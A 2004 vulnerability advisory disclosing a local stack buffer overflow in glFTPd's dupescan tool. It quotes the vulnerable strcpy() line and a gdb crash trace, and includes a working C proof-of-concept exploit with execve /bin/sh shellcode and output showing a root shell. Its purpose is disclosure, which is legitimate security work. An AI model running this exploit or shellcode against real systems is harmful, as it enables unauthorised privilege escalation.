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No System Group - Advisory #05 - 18/09/04
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Program:  glFTPd
Homepage:  http://www.glftpd.com
Vulnerable Versions: glFTPd v2.00RC3 and prior
Risk: Low / Medium
Impact: Local Stack Buffer Overflow Vulnerability
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- DESCRIPTION
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glFTPd is a very advanced ftp server with lots of 
possibilities. One of the main differences between 
many other ftp servers and glFTPd is that it has its 
own user database which can be completely maintained 
online using ftp site commands. Using ftp site commands 
it is also possible to see stats, view logs, execute 
scripts and do many more things. glFTPd runs within 
a chroot environment which makes it relatively safe. 
The glFTPd team continuously works on improving this 
free piece of beautiful software.

More informations at: http://www.glftpd.com


- DETAILS
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This vulnerability is caused by an unsafe strcpy() 
that copies the entire parameter of the 'dupescan' 
to a stack buffer of 255 bytes.


--- dupescan.c ---
39: int main (int argc, char *argv[]) {
40:   FILE *fp;
41:   char dupename[255], dupefile[255], Temp[255];
42:   struct dupefile buffer;
43:   if (argc == 1){
44:     printf("USAGE: %s <filename>\n", argv[0]);
45:     return 0;
46:   }
47: 
48:   read_conf_datapath(Temp);
49:   sprintf(dupefile, "%s/logs/dupefile", Temp);
50: 
51:   strcpy(dupename, argv[1]); <----- THE BUG
52:   if((fp = fopen(dupefile, "r")) == NULL)
53:     return 0;
54: 
--- dupescan.c ---

coki@nosystem:~$ /glftpd/bin/dupescan `perl -e 'print "A" x 300'`
Done
Segmentation fault
coki@nosystem:~$

coki@nosystem:~$ gdb /glftpd/bin/dupescan
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) r `perl -e 'print "A" x 300'`
Starting program: /glftpd/bin/dupescan `perl -e 'print "A" x 300'`
Done

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit
The program is running.  Exit anyway? (y or n) y
coki@nosystem:~$

- EXPLOIT
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-------------- glFTPd-dupe_exp.c ----------------
/* glFTPd local stack buffer overflow exploit
   (Proof of Concept)

   Tested in Slackware 9.0 / 9.1 / 10.0

   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <strings.h>
#include <unistd.h>

#define BUFFER 288 + 1
#define PATH "/glftpd/bin/dupescan"

char shellcode[]=
  "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
  "\x31\xdb\x31\xc0\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void) {

  char *env[3] = {shellcode, NULL};
  char buf[BUFFER], *path;
  int *buffer = (int *) (buf);
  int i;
  int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH);

  for(i=0; i<=BUFFER; i+=4)
  *buffer++ = ret;

  printf("\n glFTPd local stack buffer overflow (Proof of Concept)\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");

  execle(PATH, "dupescan", buf, NULL, env);
}

-------------- glFTPd-dupe_exp.c ----------------

coki@servidor:~$ make glFTPd-dupe_exp
coki@servidor:~$ ./glFTPd-dupe_exp

 glFTPd local stack buffer overflow (Proof of Concept)
 by CoKi <coki@nosystem.com.ar>

Done
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users),11(floppy),17(audio),18(video),19(cdrom)
sh-2.05b#

'dupescan' is not setuid by default :(


- SOLUTIONS
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No yet

- REFERENCES
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http://www.nosystem.com.ar/advisories/advisory-05.txt


- CREDITS
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Discovered by CoKi <coki@nosystem.com.ar>

No System Group - http://www.nosystem.com.ar